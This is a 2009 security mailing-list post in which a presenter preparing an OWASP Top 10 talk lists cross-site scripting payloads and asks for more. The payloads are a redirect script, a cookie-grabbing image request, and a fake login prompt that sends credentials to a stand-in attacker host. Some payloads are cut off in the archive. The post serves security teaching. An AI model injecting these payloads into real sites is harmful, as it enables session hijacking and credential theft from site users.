Home page logo

pauldotcom logo PaulDotCom mailing list archives

Cool things to inject via XSS
From: irongeek at irongeek.com (Adrian Crenshaw)
Date: Thu, 28 May 2009 14:50:39 -0400

Ok, I've got yet another presentation coming up, this time on the OWASP Top
10 and Mutillidae. One of the things I'm going to cover is XSS. The
canonical example of course is:


but that is boring, and gives folks the impression that XSS is not that
serious.  Better short eample swoul be:

*Redirect traffic to your site:*
<script>window.location = "http://www.irongeek.com/";</script>

*A little cookie Grabbing:*
new Image().src="http://some-ip/mutillidae/catch.php?cookie=
Or maybe a password form to make people think they have to login, but it
just grabs the credentials:*
username=prompt('Please enter your username',' ');
password=prompt('Please enter your password',' ');
document.write("<img src=\"http://attacker.hak/catch.php?username=

What are other cool thing to inject, besides maybe BeEF, that shows of how
XSS can be a big deal?

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mail.pauldotcom.com/pipermail/pauldotcom/attachments/20090528/1ba904a3/attachment.htm 

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]